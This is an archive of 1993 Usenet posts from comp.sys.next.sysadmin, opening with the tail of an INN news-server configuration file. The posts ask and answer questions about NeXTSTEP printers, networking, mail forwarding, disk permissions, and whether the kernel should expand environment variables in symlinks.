/usr/local/news/nnrp.access ## Default expire control file. #### =()<_PATH_EXPIRECTL @<_PATH_EXPIRECTL>@>()= _PATH_EXPIRECTL /usr/local/news/expire.ctl ## Prolog to parse control scripts #### =()<_PATH_PARSECTL @<_PATH_PARSECTL>@>()= _PATH_PARSECTL /usr/local/news/parsecontrol ## Access control file for control scripts. #### =()<_PATH_CONTROLCTL @<_PATH_CONTROLCTL>@>()= _PATH_CONTROLCTL /usr/local/news/control.ctl ## Innwatch control file. #### =()<_PATH_CTLWATCH @<_PATH_CTLWATCH>@>()= _PATH_CTLWATCH /usr/local/news/innwatch.ctl ## Where innwatch writes its own pid. #### =()<_PATH_WATCHPID @<_PATH_WATCHPID>@>()= _PATH_WATCHPID /usr/local/news/innwatch.pid ## Where innwatch writes status when it gets an interrupt #### =()<_PATH_INNWSTATUS @<_PATH_INNWSTATUS>@>()= _PATH_INNWSTATUS /usr/local/news/innwatch.status ## Format of news overview database #### =()<_PATH_SCHEMA @<_PATH_SCHEMA>@>()= _PATH_SCHEMA /usr/local/news/overview.fmt ## ## 12. INNWATCH CONFIGURATION ## Load average (* 100) at which innd should be paused. #### =()<INNWATCH_PAUSELOAD @<INNWATCH_PAUSELOAD>@>()= INNWATCH_PAUSELOAD 1500 ## Load average (* 100) at which innd should be throttled. #### =()<INNWATCH_HILOAD @<INNWATCH_HILOAD>@>()= INNWATCH_HILOAD 2000 ## Load average (* 100) at which to restart innd (pause/throttle undone). #### =()<INNWATCH_LOLOAD @<INNWATCH_LOLOAD>@>()= INNWATCH_LOLOAD 1000 ## Space, in df output units, at which to throttle innd on _PATH_SPOOL. #### =()<INNWATCH_SPOOLSPACE @<INNWATCH_SPOOLSPACE>@>()= INNWATCH_SPOOLSPACE 8000 ## Space, in df output units, at which to throttle innd on _PATH_BATCHDIR. #### =()<INNWATCH_BATCHSPACE @<INNWATCH_BATCHSPACE>@>()= INNWATCH_BATCHSPACE 800 ## Space, in df output units, at which to throttle innd on _PATH_NEWSLIB. #### =()<INNWATCH_LIBSPACE @<INNWATCH_LIBSPACE>@>()= INNWATCH_LIBSPACE 25000 ## Number of inodes at which to throttle innd on _PATH_SPOOL. #### =()<INNWATCH_SPOOLNODES @<INNWATCH_SPOOLNODES>@>()= INNWATCH_SPOOLNODES 200 ## How long to sleep between innwatch iterations. #### =()<INNWATCH_SLEEPTIME @<INNWATCH_SLEEPTIME>@>()= INNWATCH_SLEEPTIME 600 -- Real programmers don't create classes, they build hierarchies. (me) "If it doesn't compile and run emacs, it's not a computer." (Erik C. Sowa)
Newsgroups: comp.sys.next.sysadmin From: S.A.McIntyre@durham.ac.uk (Scott A. McIntyre) Subject: etherfind for NeXT? Message-ID: <scott.739795546@shrug> Organization: University of Newcastle upon Tyne, UK, NE1 7RU Date: Fri, 11 Jun 1993 10:45:46 GMT I'm interested in doing some serious network adminstration and nosing about, and know that the sun etherfind thing does pretty much what I want, but I've never seen it in soruce form.. Are there any tools for the NeXT that allow serious investigation of ethernet packets? Not just counting, but displaying, getting ethernet addresses from IP and so on? Any help appreciated, Scott -- EMAIL: S.A.McIntyre@durham.ac.uk OR scott@shrug.dur.ac.uk (NeXTmail) SNAIL: Pyschment of Departology, University of Durham, Durham, DH1 3LE "Did you know that the computer invented itself?" - SNL
From: robinc@jhunix.hcf.jhu.edu (Robert Delucca) Newsgroups: comp.sys.next.sysadmin Subject: Experience with Nexts and Dec laser printer? Date: 11 Jun 1993 10:26:24 -0400 Organization: Homewood Academic Computing, Johns Hopkins University, Baltimore, Md, USA Message-ID: <1va4mgINN1r7@jhunix.hcf.jhu.edu>
From: robinc@jhunix.hcf.jhu.edu (Robert Delucca) Newsgroups: comp.sys.next.sysadmin Subject: Experience with Dec Laser? Date: 11 Jun 1993 10:28:05 -0400 Organization: Homewood Academic Computing, Johns Hopkins University, Baltimore, Md, USA Message-ID: <1va4plINN1tm@jhunix.hcf.jhu.edu> References: <1va4mgINN1r7@jhunix.hcf.jhu.edu> Has anyone successfully used the new Dec laser postscript level 2 printer ($999) with a Next Turbo? How did you do it? Thanks Robert de Lucca email robinc@jhunix.hcf.jhu.edu
Newsgroups: comp.sys.next.sysadmin From: nalberts@teal.csn.org (Nathan Albertson) Subject: Re: I have 32MB RAM, NS/FIP will only see 16MB Message-ID: <C89CLt.MDs@csn.org> Sender: news@csn.org (The Daily Planet) Organization: Colorado SuperNet, Inc. References: <C7yzvy.88@news.otago.ac.nz> Date: Mon, 7 Jun 1993 15:34:40 GMT alastair@farli.otago.ac.nz (Alastair Thomson) writes: : Hi there, : We have a Compaq Deskpro 66M running NS/FIP Pre-release 1. : We originally had 16MB of RAM in it and recently upgraded it to 32MB. : The problem is that NeXTSTEP will still only see 16MB. Is this : something specific to the pre release, or does it happen all the : time? : : Any help would be appreciated as we need to demo a system in two : weeks with our app that make the window server grow to about 26MB, so : 16 makes it swap like crazy! : : Many thanks : Alastair : : -- : ===================================================================== : | : Alastair Thomson, | Phone +64-3-479-8347 : University of Otago, | Fax +64-3-479-8529 : Department of Computer Science, | e-mail: : P.O. Box 56 | alastair@piglet.otago.ac.nz : Dunedin | or ATHOMSON@otago.ac.nz : New Zealand | NeXTmail Welcome : : "God loved the world so much, that he gave us His Son, to die in : our place, so that we may have eternal life" : John 3:16, paraphrase. : : =====================================================================
From: robinc@jhunix.hcf.jhu.edu (Robert Delucca) Newsgroups: comp.sys.next.sysadmin Subject: PPD Files for HP IV? Date: 11 Jun 1993 11:16:32 -0400 Organization: Homewood Academic Computing, Johns Hopkins University, Baltimore, Md, USA Message-ID: <1va7kgINN6t5@jhunix.hcf.jhu.edu> Can someone send me the PPD files for the HP Laser jet IV (the postscript and non-postscript versions). I don't mean the new 4L, but I could probably use those as well. They were on the archives, which seem to have been decimated recently. Thanks Robert de Lucca email: robinc@jhunix.hcf.jhu.edu Nextmail: rdelucca@rosemary.uucp.jhu.edu
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer From: esky@marathon.cs.ucla.edu (Eskandar Ensafi) Subject: Support for non-PostScript printers Message-ID: <1993Jun7.175206.9915@cs.ucla.edu> Sender: usenet@cs.ucla.edu (Mr Usenet) Organization: UCLA CS Department, Los Angeles, CA Date: Mon, 7 Jun 93 17:52:06 GMT Hi, If I connect a non-PostScript printer (like an HP LaserJet III *without* a PostScript cartridge) to a machine running NeXTSTEP, will I be able to print just as if I were printing to the NeXT 400 dpi Laser Printer or is their no support for this? One of the nice things about owning a NeXT was that you had access to the latest PostScript version with each NeXTSTEP release. However, the beauty of this begins to fade when your computer is running Display PostScript Level II while your printer is just Level I. I'd appreciate any information or suggestions -- e-mail preferred. Thank you, Eskandar. -- ------------------------------------------------------------------------- G o d l e s s f e e l i n g i n m e B o r n o f t h e i r l i e s . . . Danzig -------------------------------------------------------------------------
Newsgroups: comp.sys.next.sysadmin From: mzeller@gwdu03.gwdg.de (Meinrad Zeller) Subject: Re: UUCP NS/FIP Message-ID: <S78DBIUM@gwdu03.gwdg.de> Organization: GWDG, Goettingen References: <glenC85nx3.EnF@netcom.com> Date: Mon, 7 Jun 1993 20:15:51 GMT Steven Kornreich (glen@netcom.com) wrote: : I am triing to setup UUCP on NS/FIP and I am getting an error message : "CANT OPEN cua" which is the port I have my modem connected to. I can "tip" : my modem fine. Any ideas??? On the black hardware you had to change the permissions to rw- for group and other users. I guess under NSI its the same. Meinrad -- Meinrad Zeller Foehrenweg 1 D-3400 Goettingen Tel.: +49-551-300095
Newsgroups: comp.sys.next.sysadmin From: rngu@mipos2.intel.com (Robert Ngu) Subject: explanation needed Message-ID: <C89ru6.2oz@inews.intel.com> Sender: news@inews.intel.com (USENET News System) Organization: Intel Corporation, Santa Clara, CA USA Distribution: usa Date: Mon, 7 Jun 1993 21:03:42 GMT Hi all, Can someone please explain to me what the following line in Archie.pkg sub dir after uncompressing: ... #The location of the application archive Ftpsite superc.che.udel.edu:/pub/Archie.tar.Z It is in the file, Archie.info. While installing Archie on my Intel-based machine, it came up with a message saying that it cannot connect to the computer, superc.che.udel.edu. I downloaded the compress file from the nova.cc.purdue.edu site and I never got the program to install all the way. Apparently, it is looking to connect to another computer to find the actual binaries?? Please help... I am new to NextStep. Thanks a zillion, Bob Ngu
From: kazdan@mail.sas.upenn.edu (Jerry L. Kazdan) Newsgroups: comp.sys.next.sysadmin Subject: NFS mount to have NS Extended System Message-ID: <130027@netnews.upenn.edu> Date: 7 Jun 93 20:19:01 GMT Sender: news@netnews.upenn.edu Organization: University of Pennsylvania, School of Arts and Sciences I have a NeXTSTATION (200 MB hard disk) running NS 3.0 (soon to be upgraded to 3.1). Because of the small hard disk it has no c compiler etc. Thus, I would like to be able to NFS mount another NeXT computer (on which I have an account) to use its complete development environment. The two NeXT computers are both on Internet but at different locations. About a year and a half ago I was told of a NeXT utility "NfsExtend" that will make a 2.1 system into a 2.1 extended system by mounting the appropriate files on a server. Is there a version of this (or some substitute) for NeXTSTEP 3.0 or 3.1 --- on black hardware?
From: gday@ignatz.inde.bc.ca (Gordon Day) Newsgroups: comp.sys.next.sysadmin Subject: Re: How do you execute a program from your .plan file? Message-ID: <GDAY.93Jun7144833@ignatz.inde.bc.ca> Date: 7 Jun 93 22:48:33 GMT References: <9306050045.AA23741@gaul.csd.uwo.ca> <GDAY.93Jun4205836@ignatz.inde.bc.ca> <CEDMAN.93Jun7082714@capitalist.princeton.edu> Sender: news@inde.bc.ca Organization: INDE Electronics, Inc. In-Reply-To: cedman@princeton.edu's message of Mon, 7 Jun 1993 13:27:14 GMT I've received a couple of emails on this, so I thought I'd just clarify my original tongue in cheek reply. It is easy to make a program that executes a .plan file, but unless something magical has happened, the stock Unix fingerd does not have that capability. I presumed that the original poster was interested in getting that functionality out of the NeXT fingerd. Ta, Gordon _______________________________________________________________________________ gordon day, inde electronics, +1-604-430-1446.
Newsgroups: comp.sys.next.sysadmin From: mahoney@csulb.edu (Mike Mahoney) Subject: Sybase: Installing from NeXTSTEP 1.0 Disk Message-ID: <C89yGJ.w5@csulb.edu> Sender: news@csulb.edu (News Administration/Rumor Bureau) Organization: Cal State Long Beach Date: Mon, 7 Jun 1993 23:26:42 GMT Does anyone know how I can install Sybase off of the NeXTSTEP 1.0 Disk? I've got the disk, and I only need the exact procedure. Direct e-mail would be extremely appreciated. -mike -- - Mike Mahoney, SCaN President Professor and Chair Computer Engineering and Computer Science Dept California State University, Long Beach Long Beach, CA 90840-8302
Newsgroups: comp.sys.next.sysadmin From: fedor@hopper.Colorado.EDU (Adam Fedor) Subject: Problem with owner/group on external HD Message-ID: <1993Jun11.150710.16543@colorado.edu> Originator: fedor@hopper.Colorado.EDU Sender: news@colorado.edu (The Daily Planet) Organization: University of Colorado, Boulder Distribution: usa Date: Fri, 11 Jun 1993 15:07:10 GMT I just started having a bizzare problem with my external drive after my system crashed and I rebooted: When I log in as root, all the files on the external disk have the proper owners and groups set. But when I log in as, say, myself, all the files on the disk are now owned by me (adam), and the group shows as "nogroup". This even includes the mounted directory itself. In addition the WorkspaceManager doesn't recognize my home directory (The fileviewer shows the root '/' directory, my Dock is incorrect, etc.) I've done a fsck on the disk, and it reported no errors. All the data seems o.k. If this is a disk problem, I wouldn't mind re-initializing the disk -- so how do you re-initialize the disk? Is it possible this is not a disk problem, but say a problem with netinfo? thanks adam -- Adam Fedor. CU, Boulder | Fudd's Law of Opposition: Push something fedor@boulder.colorado.edu (W) | hard enough and it will fall over. adam@bastille.rmnug.org (H,NeXTMail)|
Newsgroups: comp.sys.next.sysadmin From: cedman@princeton.edu (Carl Edman) Subject: Re: Can you make a dynamic symbolic link to $HOME? In-Reply-To: jimc@tau-ceti.isc-br.com's message of 10 Jun 93 21:36:03 GMT To: jimc@tau-ceti.isc-br.com (Jim Cathey) Message-ID: <CEDMAN.93Jun11110305@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <1993Jun8.072602.2031@netcom.com> <GISLI.93Jun8095057@liapunov.eecs.umich.edu> <CEDMAN.93Jun8113534@capitalist.princeton.edu> <3586@tau-ceti.isc-br.com> Distribution: usa Date: Fri, 11 Jun 1993 15:03:04 GMT In article <3586@tau-ceti.isc-br.com> jimc@tau-ceti.isc-br.com (Jim Cathey) writes: In article <CEDMAN.93Jun8113534@capitalist.princeton.edu> cedman@princeton.edu (Carl Edman) writes: >So, yes, one could add this feature to zsh, but it wouldn't really be >very useful. If it belongs anywhere it belongs in the kernel so that >all user programs (including zsh) would automatically use it. Adding >it should be a nice exercise for a budding kernel hacker. It would be a horrible hack for a kernel. At least it would have a lot of company. The point is that it would be a terrible hack in the shell as well, and that if you decide that this functionality is worth a terrible hack (which reasonable people might), you should at least as for a working horrible hack. And that means that the place to put it is the kernel. What about the poor bozo who put his mortgage information into a file called $HOME (or whatever)? As a matter of general principle poor bozos should be warned to stay away from UN*X machines. UN*X is for real men. Poor bozos should stay with systems designed with them in mind, like Macintoshes. If a poor bozo doesn't want to listen he deserves what he gets and a healthy dose of laughter on top of that. Unfortunately in this case nothing terrible would happen to him. '$' would remain a perfectly valid character in filenames. All operations would work on a file with '$' in its name as ever. It is inside the contents of symlinks that '$' would become a meta character. Now if our hypothetical poor bozo knew about symlinks (and you can judge how likely a case that is in somebody who calls a file '$HOME') he might he get confused if he tried to create one which points directly at his mortage information. And very likely not even that would happen as any non-broken ln(1) would by default escape '$'s in symlink contents. There's a reason that system calls shouldn't try to get too smart, since there's no way around them. Such hack-ey crap should be done at a layer above, where it's possible to bypass the stuff. Look at the extra system calls you need to get around symlinks when you need to. The exact same would be needed here. I would go even further than that. What we would need would not be something similar, but the very same system calls. The calls which get around symlink interpretation also get around '$' expansion. This may or may not be a waste of perfectly good system call numbers, but it already is in the kernel anyway so there would be no extra burden. Not to mention that the kernel can't automagically find the appropriate environment for a process. It may be able to find the one that it originally gave the process, but it wouldn't necessarily find the changed information, if the process (like a shell) accepts a setenv operation. There's no standard place to keep a changed environment, since a process is allowed to fork a child with a different environment using exec?e(). No, the kernel would need to be told about the appropriate environment beforehand (or simultaneously, anyone for opene()? Please, why make things difficult ? The kernel would use exactly the same enviroment which calls to execl or execv use. Exactly the same enviroment which is inheritably modified by putenv and read by getenv. This is not a matter of wild theories. Any number of kernels read enviroment variables from the process data space every day. Some even use them to implement something similar to what I proposed here. Check out HPUX CDFs for example. At this point, you might just as well change the library binding and do all the work there (same caveats), and call it something else (opene sounds good to me), which means it wouldn't work everywhere you might want it to. Or call it open, but put it in a special library you link with first. Either way, you don't get what you want. But I do. In the very worst possible case one would have to change a tiny number of highly OS dependent programs which non-portably alter their own environment. Even the child processes of such processes will work automatically. I can live with that. At least with the hack buried only in the shell there's probably sufficient quoting available to get around it. Not in csh, there isn't. In the kernel of course there _already_ is. Ugh. Give it up as a bad job. (Or get a PC, where bad jobs are the rule.) Now that's ... not a nice thing to say. Not nice at all. Carl Edman
Newsgroups: comp.sys.next.sysadmin From: gvh@metrosoft.com (Gordon Van Huizen) Subject: Simple network with 3Com EtherLink III Message-ID: <1993Jun11.171025.619@metrosoft.com> Sender: gvh@metrosoft.com Organization: Metrosoft Date: Fri, 11 Jun 1993 17:10:25 GMT I'm attempting to set up a simple network consisting of a cube and a NEC PowerMate with a 3Com EtherLink III adapter. I have a short run of coax that's terminated at both ends. I'm some problems, and there is no NextAnswer listing for the 3Com card. I've set up the NetInfo and server host stuff on the cube. When I boot the NEC machine in an attempt to add it to the network, I get the following message repeated over and over: en0: timeoutOccured. status=2000 IRQ=8 and the box never sees the network. Is there something special about setting up the 3Com card? I ran the DOS setup utility for the card and set it up for ISA, IRQ 10, addr=300x. It strikes me as odd that there was a timeout reported at IRQ 8, since the 3Com card is set to use IRQ 10 in the NEXTSTEP Configure app. I used Configure to set the IRQ to 8, and I got: en0: timeoutOccured. status=2005 IRQ=8 The PC also has a DPT SCSI adapter and a ProAudio sound card. I removed the sound card and its driver from the system configuration to ensure that wasn't the source of the conflict. The cube states "the network is disabled or your computer isn't attached to it" when it boots. Is this normal in a two computer net when the other machine isn't communicating? Could all this be happening due to bad termination, etc? I have a 15-foot stretch of coax with terminators at both ends. Seems simple enough... Thanks much for any light anyone can shed on this! Regards, Gordon -- Gordon Van Huizen vox: 619.488.9411 fax: 619.488.3045 Metrosoft gvh@metrosoft.com [NeXTmail welcome] "Our ship is coming in, it just isn't black." - MTD 2/93
From: bdm@agni.ss.uci.edu (Brian McElree) Subject: Exception #3 at boot Message-ID: <2C18E7B8.6711@news.service.uci.edu> Newsgroups: comp.sys.next.sysadmin Date: 11 Jun 93 20:14:48 GMT A colleague had just purchased a used Color NeXTstation (non-turbo, 32/400). During the boot process at the "loading from disk" screen, the ROM monitor pops up with an "Exception #3 (0xc) at 0x1000374" message. The station can be manually booted and thereafter seems to function properly. Has anyone had a similar problem or does anyone know what this message indicates? Particularly, should it be a source of concern so as to warrant returning the machine? Any knowledge, thoughts or opinions would be greatly appreciated. Thanks in advance, Brian McElree Cognitive Sciences Dept UCI bdm@agni.ss.uci.edu
From: mfausett@bbn.com (Mark Fausett) Newsgroups: comp.sys.next.sysadmin Subject: Re: Experience with Dec Laser? Date: 11 Jun 93 20:05:32 GMT Message-ID: <mfausett.739829132@kirin> References: <1va4mgINN1r7@jhunix.hcf.jhu.edu> <1va4plINN1tm@jhunix.hcf.jhu.edu> robinc@jhunix.hcf.jhu.edu (Robert Delucca) writes: >Has anyone successfully used the new Dec laser postscript >level 2 printer ($999) with a Next Turbo? How did you do it? >Robert de Lucca >email robinc@jhunix.hcf.jhu.edu No problem; I just cut a cable to support hardware handshaking, set the printer up to talk at 38400, told the NeXT that it was an Apple something or another (salient detail being PostScript Level II), and chugged. Don't suppose anyone has a more appropriate ppd file for the DEC...? Mark Fausett mfausett@bbn.com
From: lliou@sdcc3.ucsd.edu (Lily Liou ) Newsgroups: comp.sys.next.sysadmin Subject: USRobotics Sportster 14.4 Modem with Fax Message-ID: <50790@sdcc12.ucsd.edu> Date: 10 Jun 93 21:04:04 GMT Sender: news@sdcc12.ucsd.edu Organization: University of California, San Diego Hi everyone, Now that the price of modems is plummetting, I'm interested in getting a faster modem. I've seen the USRobotics Sportster (external, 14400 baud, with class1 group3 fax) around and it sounds like a nice deal (around $200). Has anyone gotten one of these to work on a NeXT Turbo (or any of the original black machines)? Either as a plain data modem or with the fax capability? Any help or comments would be appreciated! Thanks! -Lily Liou lliou@sdcc3.ucsd.edu
From: low00001@bullnext.mc.duke.edu (Richard Low) Newsgroups: comp.sys.next.sysadmin Subject: .forward mail to NeXT Mail and elsewhere Message-ID: <16196@news.duke.edu> Date: 11 Jun 93 21:31:06 GMT Sender: news@news.duke.edu Does anyone know how to set up a .forward file to forward NeXT Mail to an external mail system *and* to place a copy of the mail message into my NeXT Mail mailbox? Thanks for any help. ============================================================ Richard Low | low00001@bullnext.mc.duke.edu Duke University Medical Center | Voice: 919-286-6362 Box 3900, Durham, NC 27710 | Fax: 919-286-6369 U.S.A. | NeXT Mail Welcome ============================================================ -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FUO9&5R;B!#;W5R:65R.UQF,5QF M<W=I<W,@2&5L=F5T:6-A.WT*7&UA<F=L,3(P"EQM87)G<C$R,`I<<&%R9%QT M>#$S-#1<='@R-C@X7'1X-#`S,EQT>#4S-S9<='@V-S(P7'1X.#`V-%QT>#DT M,#A<='@Q,#<U,EQT>#$R,#DV7'1X,3,T-#!<9C!<8C!<:3!<=6QN;VYE7&9S M,CA<9F,P7&-F,"!$;V5S(&%N>6]N92!K;F]W(&AO=R!T;R!S970@=7`@82`N M9F]R=V%R9"!F:6QE('1O(&9O<G=A<F0@3F585"!-86EL('1O(&%N(&5X=&5R M;F%L(&UA:6P@<WES=&5M("IA;F0J('1O('!L86-E(&$@8V]P>2!O9B!T:&4@ M;6%I;"!M97-S86=E(&EN=&\@;7D@3F585"!-86EL(&UA:6QB;W@_7`I<"E1H M86YK<R!F;W(@86YY(&AE;'`N7`I<"@I<<&%R9%QT>#8R,%QT>#$R-#!<='@Q M.#8P7'1X,C0X,%QT>#,Q,#!<='@S-S(P7'1X-#,T,%QT>#0Y.#!<='@U-C`P M7'1X-C(R,%QF,5QF8S!<8V8P(#T]/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T] M/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T]/5P*(%)I8VAA<F0@ M3&]W"0D)"0D)"7P);&]W,#`P,#%`8G5L;&YE>'0N;6,N9'5K92YE9'5<"B!$ M=6ME(%5N:79E<G-I='D@365D:6-A;"!#96YT97()"0E\"59O:6-E.B`Y,3DM M,C@V+38S-C)<"B!";W@@,SDP,"P@1'5R:&%M+"!.0R`R-S<Q,`D)"7P)1F%X M.B`@(#DQ.2TR.#8M-C,V.5P*(%4N4RY!+@D)"0D)"0D)?`E.95A4($UA:6P@ M5V5L8V]M95P*/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T] =/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T]7`H*?0H] `
Newsgroups: comp.sys.next.sysadmin From: eps@futon.SFSU.EDU (Eric P. Scott) Subject: Re: .forward mail to NeXT Mail and elsewhere Message-ID: <1993Jun12.002919.2776@csus.edu> Sender: news@csus.edu Organization: San Francisco State University References: <16196@news.duke.edu> Date: Sat, 12 Jun 1993 00:29:19 GMT In article <16196@news.duke.edu> low00001@bullnext.mc.duke.edu (Richard Low) abuses RTF to write: >Does anyone know how to set up a .forward file to forward NeXT >Mail to an external mail system *and* to place a copy of the >mail message into my NeXT Mail mailbox? \low00001,user@external.mail.system [this technique is illustrated on the "vacation" man page, and is not NeXT-specific] -=EPS=-
From: steve@eps.com (Steven Kornreich) Newsgroups: comp.sys.next.sysadmin Subject: C-news. INN for NS-FIP Distribution: world Message-ID: <739869976snx@eps.com> Date: Sat, 12 Jun 93 07:26:16 GMT Organization: Electronic Publishing Services What news program currently works with NS/FIP?? And also what news reader will work. Thanks Steve
Newsgroups: comp.sys.next.sysadmin From: eps@futon.SFSU.EDU (Eric P. Scott) Subject: Re: Can you make a dynamic symbolic link to $HOME? Message-ID: <1993Jun12.020847.7407@csus.edu> Summary: Kernels don't read environment variables Sender: news@csus.edu Organization: San Francisco State University References: <1993Jun8.072602.2031@netcom.com> <GISLI.93Jun8095057@liapunov.eecs.umich.edu> <CEDMAN.93Jun8113534@capitalist.princeton.edu> <3586@tau-ceti.isc-br.com> <CEDMAN.93Jun11110305@capitalist.princeton.edu> Date: Sat, 12 Jun 1993 02:08:47 GMT In article <CEDMAN.93Jun11110305@capitalist.princeton.edu> writes: >Please, why make things difficult ? The kernel would use exactly the >same enviroment which calls to execl or execv use. Exactly the same >enviroment which is inheritably modified by putenv and read by >getenv. execl and execv are library routines--front ends to execve(2)-- which requires the prototype environment string array be passed *explicitly* (just like the argument list). Nothing sneaky is happening. getenv is entirely user-mode, and putenv (which NeXT no longer supplies as of 3.0) is as well. Environment variables are inherited across a fork() because they're just ordinary data. >This is not a matter of wild theories. Any number of kernels read >enviroment variables from the process data space every day. Some even >use them to implement something similar to what I proposed here. >Check out HPUX CDFs for example. Carl, you disappoint me. HP/UX Context Dependent Files don't use UNIX environment variables, but something else called a context string. The context string lives entirely in kernel data space, is completely unrelated to the environment, and its contents cannot be set by the user. It appears as a series of words, separated by spaces, that give the cluster node name (a kernel variable, akin to hostname), some architecture-derived keywords, an indication of whether the root partition is local or network mounted, and finally the word "default." Example: standalone PA-RISC1.1 HP-PA localroot default A CDF--also called a "hidden directory"--works something like a NeXT Application Wrapper or .rtfd document; it's a directory with several ordinary files in it. It's distinguished from a "normal" directory by setting its "set uid" bit (which in traditional UNIX is meaningless for a directory). So if I have a CDF called foo, and an application tries to access it, the kernel will search for files foo/standalone foo/PA-RISC1.1 foo/HP-PA etc. in that order until it finds a match, and will act as though I'd requested that file explicitly. If none of the files match (which can happen if there's no "default" file), the kernel claims it doesn't exist. If that application then attempts to open the CDF for create, the cluster node name will be used, i.e. if I attempt to write on foo, that request will be translated into an attempt to create foo/standalone, since "standalone" is my cluster node name in the above example. As an aside, consider where we'd be had NeXT followed HP's lead instead of adopting the current "fat binary" abomination: + Anything could be keyed off architecture--not just executables + It would be easily extensible as new architectures were introduced + Installer packages would be more flexible + Far fewer changes would have been necessary to application software + Fat NXBundles would have worked right in 3.0 + Updated software versions could be tested on a single machine, while appearing to be installed in their proper location, and without sacrificing access to the production version etc. etc. -=EPS=-
Newsgroups: comp.sys.next.sysadmin From: harit@kripalu.com Subject: Using .rhosts Message-ID: <1993Jun11.223741.6921@uunet!cbmvax!xmws!kripalu> Sender: harit@uunet!cbmvax!xmws!kripalu Organization: Kripalu Center Date: Fri, 11 Jun 93 22:37:41 GMT I seem to have problems getting the .rhosts file to work for the root account. Any help would be appreciated. Please e-mail or call as I do not read this group often. --- Michael Allen Latta Kripalu Center harit@kripalu.com (413)448-3288 -- Michael Allen Latta Kripalu Center harit@kripalu.com (413)448-3288
Newsgroups: comp.sys.next.sysadmin From: gordie@cyclesoft.com (Gordie Freedman) Subject: Re: .forward mail to NeXT Mail and elsewhere Message-ID: <1993Jun12.081845.9011@netcom.com> Sender: gordie@netcom.com Organization: Cyclesoft Media Works References: <16196@news.duke.edu> Date: Sat, 12 Jun 1993 08:18:45 GMT In article <16196@news.duke.edu> low00001@bullnext.mc.duke.edu (Richard Low) writes: >Does anyone know how to set up a .forward file to forward NeXT >Mail to an external mail system *and* to place a copy of the mail >message into my NeXT Mail mailbox? > >Thanks for any help. in your home directory, make a file .forward and put this in it: \user, user@otherplace.whatever That will send mail to "user" (which won't exactly put the mail in your NeXTMail mailbox, but it will send the mail to you normally in the "Unix/sendmail" sense, such that if NeXTMail is running it will put it in your box), and also send mail to user@otherplace.whatever - the external system. As a general note/question - why use rich text for a posting with only text (and in one font at that)? It somewhat limits your audience ... -- >>> Gordie Freedman -> gordie@cyclesoft.com NeXTMail Yes! >>> Thou shalt not inline functions more complicated than 20
Newsgroups: comp.sys.next.sysadmin From: cedman@princeton.edu (Carl Edman) Subject: Re: Can you make a dynamic symbolic link to $HOME? In-Reply-To: eps@futon.SFSU.EDU's message of Sat, 12 Jun 1993 02:08:47 GMT To: eps@futon.SFSU.EDU (Eric P. Scott) Message-ID: <CEDMAN.93Jun12092658@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <1993Jun8.072602.2031@netcom.com> <GISLI.93Jun8095057@liapunov.eecs.umich.edu> <CEDMAN.93Jun8113534@capitalist.princeton.edu> <3586@tau-ceti.isc-br.com> <CEDMAN.93Jun11110305@capitalist.princeton.edu> <1993Jun12.020847.7407@csus.edu> Date: Sat, 12 Jun 1993 13:26:58 GMT In article <1993Jun12.020847.7407@csus.edu> eps@futon.SFSU.EDU (Eric P. Scott) writes: In article <CEDMAN.93Jun11110305@capitalist.princeton.edu> writes: >Please, why make things difficult ? The kernel would use exactly the >same enviroment which calls to execl or execv use. Exactly the same >enviroment which is inheritably modified by putenv and read by >getenv. execl and execv are library routines--front ends to execve(2)-- which requires the prototype environment string array be passed *explicitly* (just like the argument list). Nothing sneaky is happening. getenv is entirely user-mode, and putenv (which NeXT no longer supplies as of 3.0) is as well. Environment variables are inherited across a fork() because they're just ordinary data. That's true. But my point was that execl and execv can figure out what the environment is without being told explicitly. If they can, so can the kernel. That execve passes the environment explicitly is a matter of convenience, not necessity. Memory protection works one way only -- user programs can't access kernel data space. Nothing prevents kernel programs from accessing user data space. >This is not a matter of wild theories. Any number of kernels read >enviroment variables from the process data space every day. Some even >use them to implement something similar to what I proposed here. >Check out HPUX CDFs for example. [ ... ] As an aside, consider where we'd be had NeXT followed HP's lead instead of adopting the current "fat binary" abomination: [ ... ] Yes, but then of course dynamic links via environment variables would allow the same, just in an even more flexible and user transparent manner. Carl, you disappoint me. HP/UX Context Dependent Files don't use UNIX environment variables, but something else called a context string. The context string lives entirely in kernel data space, is completely unrelated to the environment, and its contents cannot be set by the user. It appears as a series of words, separated by spaces, that give the cluster node name (a kernel variable, akin to hostname), some architecture-derived keywords, an indication of whether the root partition is local or network mounted, and finally the word "default." You got me. Oh, my, caught redhanded confidently spreading technical misinformation. Years of building credibility -- all wasted because I was to lazy to confirm a memory of an OS I haven't worked with seriously in years. Please excuse me while I go and select the gun to use. Carl Edman
From: robinc@jhunix.hcf.jhu.edu (Robert Delucca) Newsgroups: comp.sys.next.sysadmin Subject: HELP! How to connect HP 4M? Date: 12 Jun 1993 13:38:27 -0400 Organization: Homewood Academic Computing, Johns Hopkins University, Baltimore, Md, USA Message-ID: <1vd4ajINN1io@jhunix.hcf.jhu.edu> How do I get an HP 4M to work? I have the ppd file in English.lproj but all I get is a blinking FORM FEED light. I need to know just about everything, from A to Z. THANKS Robert de Lucca email robinc@jhunix.hcf.jhu.edu Nextmail rdelucca@rosemary.uucp.jhu.edu
Newsgroups: comp.sys.next.sysadmin From: paul@phoenix.Princeton.EDU (Paul Lansky) Subject: 486 byte ordering Message-ID: <1993Jun12.172749.9483@Princeton.EDU> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University Date: Sat, 12 Jun 1993 17:27:49 GMT We have a cluster of black NeXT machines and are contemplating getting a 486 machine to break in. Unfortunately the byte ordering is different on these machines. One is big endian and the other little endian, (I forget which is which). This, of course would create major problems for sound and image files accessed across the network between 68k and 486 machines. I'd like to know how others have dealt with this problem. Are there hardware solutions? Or must this be dealt with entirely in software. Thanks for any information. Paul Lansky paul@princeton.edu
